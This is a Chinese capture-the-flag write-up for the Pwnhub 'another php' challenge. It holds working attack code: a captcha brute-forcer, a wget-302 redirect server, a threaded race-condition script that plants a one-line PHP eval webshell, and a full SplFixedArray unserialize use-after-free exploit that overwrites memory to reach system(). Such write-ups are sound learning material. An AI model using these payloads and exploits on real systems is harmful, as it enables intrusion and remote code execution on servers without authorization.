another php
一开始是各类杂技式的源码泄漏~
index.php~
进入http://52.80.32.116/2d9bc625acb1ba5d0db6f8d0c8b9d206
此外,在http://52.80.32.116/2d9bc625acb1ba5d0db6f8d0c8b9d206/login有一个登录框。
有一个验证码,需要写脚本爆破。
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import hashlib
for i in xrange(0,999999999):
test = hashlib.md5()
test.update(str(i))
if(test.hexdigest()[0:6]=='c65241'):
print i,test.hexdigest()
break
这里测试了好久,感觉一直找不到重点。后来扫了一波目录可以看到有svn泄漏,泄漏的是wc.db
可以看到内容:
Myname:Pwnhub{6666666flag}
havefun:)
然后,结合一下脑洞了一波。
Pwnhub{6666666flag}就是登录框的用户名,login.php只验证了username,然后爆破一下验证码就能得到关键文件的文件名。
然后,进入界面http://52.80.32.116/2d9bc625acb1ba5d0db6f8d0c8b9d206/a9b4d7cc810da015142f61f7e236d50b.php
这里显示一个no image!
也需要脑洞一波
post一个带image标签的数据包
image=21
查看源码,可以看到泄漏了源码信息
<img src="pwnhub.jpg" width=184 height=200/><!-- pwnhubs0urcec0d3.zip -->
到http://52.80.32.116/2d9bc625acb1ba5d0db6f8d0c8b9d206/pwnhubs0urcec0d3.zip下载完文件。
解压开,可以看到两个文件,一个code.php 一个php.diff
code.php是混淆过的,所以在线找个网站解码一下即可。
<?php
//加密方式:php源码混淆类加密。免费版地址:http://www.zhaoyuanma.com/phpjm.html 免费版不能解密,可以使用VIP版本。
//此程序由【找源码】http://Www.ZhaoYuanMa.Com (免费版)在线逆向还原,QQ:7530782
?>
<?php
error_reporting(E_ALL);
$firesun_path = '';
class Pwnhub
{
function __wakeup()
{
if (isset($_GET['pwnhub'])=="firesun")
{
echo "Hacked by Firesun!";
eval(base64_decode($_POST['pwnhub']));
}
}
}
function pwnhubfile()
{
global $firesun_path;
file_put_contents($firesun_path . '/firesun', serialize($_SESSION));
}
session_start();
register_shutdown_function('pwnhubfile');
function set_context($id)
{
global $_SESSION, $firesun_path;
$firesun_path = '/var/www/data/' . $id;
if (!is_dir($firesun_path)) mkdir($firesun_path);
chdir($firesun_path);
if (!is_file('firesun')) $_SESSION = array();
else $_SESSION = unserialize(file_get_contents('firesun'));
}
function download_image($url)
{
$url = parse_url($origUrl = $url);
if (isset($url['scheme']) && $url['scheme'] == 'http') if ($url['path'] == '/pwnhub.png')
{
if (isset($url['query']))
{
die('byebyebye');
}
wget_wrapper($origUrl);
echo "Nice:)";
}
else
{
echo 'sorry!';
}
}
if (!isset($_SESSION['id']))
{
$sessId = bin2hex(openssl_random_pseudo_bytes(10));
$_SESSION['id'] = $sessId;
}
else
{
$sessId = $_SESSION['id'];
}
session_write_close();
set_context($sessId);
if (isset($_POST['image']))
{
$p = $_POST['image'];
if (stripos($p, 'php'))
{
echo 'wow!!!';
die('byebye');
}
download_image($p);
echo '<img src="pwnhub.jpg" width=184 height=200/>';
}
else
{
die('no image:(');
}
?>
<!-- pwnhubs0urcec0d3.zip -->
大体过一下代码,可以很明显,我们最终要达到的效果是通过Pwnhub类中的eval来进行远程命令执行(RCE)。
而,此时我们的问题在于Pwnhub类在php中没有被实例化。
那么,显然按通常的思路就是,我们需要反序列化一个Pwnhub类。
再自己扫一下代码,可以发现全文只有在set_context处有反序列化操作
function set_context($id)
{
global $_SESSION, $firesun_path;
$firesun_path = '/var/www/data/' . $id;
if (!is_dir($firesun_path))
mkdir($firesun_path);
chdir($firesun_path);
if (!is_file('firesun'))
$_SESSION = array();
else
$_SESSION = unserialize(file_get_contents('firesun'));
}
所以,接下来,我们就需要做的工作就是控制firesun文件里面的内容为,O:6:"Pwnhub":0:{}
接下来,就是如何做到让firesun的内容是O:6:"Pwnhub":0:{}
由于代码中,有另一块向firesun中赋值的操作:
function pwnhubfile()
{
global $firesun_path;
file_put_contents($firesun_path . '/firesun', serialize($_SESSION));
}
session_start();
register_shutdown_function('pwnhubfile');
即,一次访问结束或者遇到一场以后,系统会自动生成一个firesun的的文件。
所以,在整个过程中,我们几乎没办法控制firesun为O:6:"Pwnhub":0:{}
正式做题的时候,就卡在这了。。
后来,官方提示
2017.03.04 21:20:00wget_wrapper就是wget,不要想着在url上做文章进行命令执行,过滤很严,wget版本较低,wget版本较低,wget版本较低,重要的话说三遍
查了一下,wget在低版本有一个302的漏洞,可以导致我们可以控制其下载任意一个文件。这样,我们就可以利用这个漏洞,控制firesun文件了。让服务器通过wget请求一个firesun文件。这里因为有register_shutdown_function(‘pwnhubfile’);的存在,我们需要进行条件竞争利用。(此外,可以在网上搜到一道和它很像的WP,应该是依据它改的题目。http://quanyang.github.io/secuinside-ctf-quals-2016-trendyweb/)
整个逻辑如下:
- 我们访问页面,生成一个独特的sessionid,并执行set_context($session_id),获取firesun的内容。
- 于此同时,我们要利用download_image函数的wget漏洞,让sessionid下面的firesun内容为O:6:”Pwnhub”:0:{}。
- 此外,我们要让2的操作,在第一次访问结束之前就执行完。因为第一次访问结束后,系统就会生成一个firesun。而,wget是无法覆盖文件的。也就是说,如果我们第一次请求结束前没有反序列化成功,就代表当前的session废用了。(这里的$firesun_path目录由id控制)
这里,先依据302漏洞的博客,配一个环境。
http服务:
import SimpleHTTPServer
import SocketServer
HTTP_HOST = '106.14.61.185'
HTTP_PORT = 8080
HTTP_REDIRECT_HOST = 'ftp://anonymous@106.14.61.185:21'
HTTP_REDIRECT_FILE = 'firesun'
class RedirectServer(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', '%s/%s' % (HTTP_REDIRECT_HOST, HTTP_REDIRECT_FILE))
self.end_headers()
handler = SocketServer.TCPServer((HTTP_HOST, HTTP_PORT), RedirectServer)
handler.serve_forever()
ftp
sudo python -m pyftpdlib -p 21
然后,在根目录(/)下,写一个firesun文件
测试一下,请求http://106.14.61.185:8080/test.html 它会转到ftp://106.14.61.185/firesun
接下来,我参考了lorexxar里面的脚本,跑了一下。
import requests
import threading
import time
from random import Random
url = "http://52.80.32.116/2d9bc625acb1ba5d0db6f8d0c8b9d206/a9b4d7cc810da015142f61f7e236d50b.php"
def down(cookie):
data = {'image': 'http://106.14.61.185:8080/pwnhub.png'}
r = requests.post(url, data = data, cookies=cookie)
def ri(cookie):
s = requests.Session()
data = {'pwnhub': 'ZmlsZV9wdXRfY29udGVudHMoIi92YXIvd3d3L2h0bWwvMmQ5YmM2MjVhY2IxYmE1ZDBkYjZmOGQwYzhiOWQyMDYvaW1hZ2UveGlhb3hpLnBocCIsIGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYmRHVnpkRjBwT3o4KyIpKTs='}
r = s.post(url + "?pwnhub=firesun", data = data, cookies=cookie)
if "Hacked by Firesun" in r.text:
print r.text
def random_str(randomlength=8):
str = ''
chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
length = len(chars) - 19
random = Random()
for i in range(randomlength):
str+=chars[random.randint(0, length)]
return str
for i in range(0,10000):
session = random_str(26)
cookie = {'PHPSESSID': session}
threading.Thread(target = down,args = (cookie,)).start()
threading.Thread(target = ri,args = (cookie,)).start()
注:base64字符集不包含<?> 所以,这里要二重base64编码
ZmlsZV9wdXRfY29udGVudHMoIi92YXIvd3d3L2h0bWwvMmQ5YmM2MjVhY2IxYmE1ZDBkYjZmOGQwYzhiOWQyMDYvaW1hZ2UveGlhb3hpLnBocCIsIGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYmRHVnpkRjBwT3o4KyIpKTs=
file_put_contents("/var/www/html/2d9bc625acb1ba5d0db6f8d0c8b9d206/image/xiaoxi.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbdGVzdF0pOz8+"));
PD9waHAgZXZhbCgkX1BPU1RbdGVzdF0pOz8+
<?php eval($_POST[test]);?>
竞争一波,可以拿到webshell
在phpinfo中,可以看到很多函数被禁用。。。
exec,passthru,shell_exec,assert,glob,imageftbbox,bindtextdom,dir,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,symlink,chgrp,chmod,chown,dl,mail,readlink,stream_socket_server,fsocket,imap_mail,apache_child_terminate,posix_kill,proc_terminate,proc_get_status,syslog,openlog,ini_alter,chroot,fread,fgets,fgetss,file,readfile,ini_set,ini_restore,putenv,apache_setenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,fpassthru,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,fputs,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,highlight_file,show_source,copy,system, exec,passthru,shell_exec,assert,glob,imageftbbox,bindtextdom,dir,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,symlink,chgrp,chmod,chown,dl,mail,readlink,stream_socket_server,fsocket,imap_mail,apache_child_terminate,posix_kill,proc_terminate,proc_get_status,syslog,openlog,ini_alter,chroot,fread,fgets,fgetss,file,readfile,ini_set,ini_restore,putenv,apache_setenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,fpassthru,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,fputs,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,highlight_file,show_source,copy,system,
display_errors
接下来的问题在于php.diff.官方题解讲到:
根据php.diff,可以得知修改部分在php的SplFixedArray类中,作者为SplFixedArray新增了序列化与反序列化方法。简单阅读修改部分可以发现bug存在于反序列化过程中:如果php_var_unserialize失败,会调用zval_ptr_dtor减少对应zval的引用计数,从而导致其被释放,造成use-after-free。通过伪造zval可以达到任意地址读写与代码执行。 拿到reverse shell之后,在根目录发现flag.txt,用flag_reader程序可以读出flag。
orz,反正我看不懂。。。
脚本贴上:
<?php
function ptr2str($ptr)
{
$out = '';
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function readmem($address, $length)
{
$inner = 'x:3;i:0;i:0;i:1;s:8:"AAAAAAAA";i:2;?:2;';
$fakezval = ptr2str($address);
$fakezval .= ptr2str($length);
$fakezval .= "\x00\x00\x00\xff";
$fakezval .= "\x06";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
$inner2 = 's:'.strlen($fakezval).':"'.$fakezval.'"';
$mid = 'x:6;i:0;s:1:"0";i:1;s:1:"1";i:2;C:13:"SplFixedArray":'.strlen($inner).':{'.$inner.'}i:3;'.$inner2.';i:4;'.$inner2.';i:5;'.$inner2.';';
$a = 'C:13:"SplFixedArray":'.strlen($mid).':{'.$mid.'}';
$data = unserialize($a);
return substr($data[2][2], 0, $length);
}
function parse_libc()
{
$maps = file_get_contents("/proc/self/maps");
preg_match('#([0-9a-f]+)\-[0-9a-f]+.+/.+libc\-.+#', $maps, $r);
$result = hexdec($r[1]);
return $result;
}
$libc = parse_libc();
echo "libc_base = ".$libc."\n";
$system = ptr2str($libc + 0x46590);
$bss = $libc + 0x3C0000;
/*
$array = array();
for($i = 0;$i<10;$i+=2) {
$array[$i] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
}
FOR($i=0;$i<10;$i++) {
$array[$i] = $i;
}
*/
$inner = 'x:3;i:0;i:0;i:1;s:8:"AAAAAAAA";i:2;?:2;';
$fakezval = ptr2str(0);
$fakezval .= ptr2str(0x7fffffff);
$fakezval .= "\x01\x00\x00\x00";
$fakezval .= "\x06";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
$inner2 = 's:'.strlen($fakezval).':"'.$fakezval.'"';
$mid = 'x:7;i:0;s:1:"0";i:1;s:1:"1";i:2;C:13:"SplFixedArray":'.strlen($inner).':{'.$inner.'}i:3;'.$inner2.';i:4;'.$inner2.';i:5;'.$inner2.';i:5;?:5;';
$a = 'C:13:"SplFixedArray":'.strlen($mid).':{'.$mid.'}';
$data = unserialize($a);
var_dump($data);
echo bin2hex($data[5]);
/* avoid calling free */
$inner1 = 'x:3;i:0;i:0;i:1;s:8:"AAAAAAAA";i:2;?:2;';
$fakezval1 = ptr2str($bss);
$fakezval1 .= ptr2str(8);
$fakezval1 .= "\x00\x00\x00\x00";
$fakezval1 .= "\x06";
$fakezval1 .= "\x00";
$fakezval1 .= "\x00\x00";
$inner2 = 's:'.strlen($fakezval1).':"'.$fakezval1.'"';
$mid = 'x:6;i:0;s:1:"0";i:1;s:1:"1";i:2;C:13:"SplFixedArray":'.strlen($inner1).':{'.$inner1.'}i:3;'.$inner2.';i:4;'.$inner2.';i:5;'.$inner2.';';
$a = 'C:13:"SplFixedArray":'.strlen($mid).':{'.$mid.'}';
$data1 = unserialize($a);
$y = $data1[2][2];
$y[0] = $system[0];
$y[1] = $system[1];
$y[2] = $system[2];
$y[3] = $system[3];
$y[4] = $system[4];
$y[5] = $system[5];
$y[6] = $system[6];
$y[7] = $system[7];
file_put_contents("/tmp/a", "bash -c 'echo 123 > /tmp/hello'");
$inner_1 = 'x:3;i:0;i:0;i:1;s:8:"AAAAAAAA";i:2;?:2;';
$fakezval_1 = "sh /*/a;";
$fakezval_1 .= ptr2str($bss-8);
$fakezval_1 .= "\x01\x00\x00\x00";
$fakezval_1 .= "\x05";
$fakezval_1 .= "\x00";
$fakezval_1 .= "\x00\x00";
$inner_2 = 's:'.strlen($fakezval_1).':"'.$fakezval_1.'"';
$mid_1 = 'x:6;i:0;s:1:"0";i:1;s:1:"1";i:2;C:13:"SplFixedArray":'.strlen($inner_1).':{'.$inner_1.'}i:3;'.$inner_2.';i:4;'.$inner_2.';i:5;'.$inner_2.';';
$a_1 = 'C:13:"SplFixedArray":'.strlen($mid_1).':{'.$mid_1.'}';
$data_8 = unserialize($a_1);
$data_8[2][2] = 1;
echo "Done!\n";
?>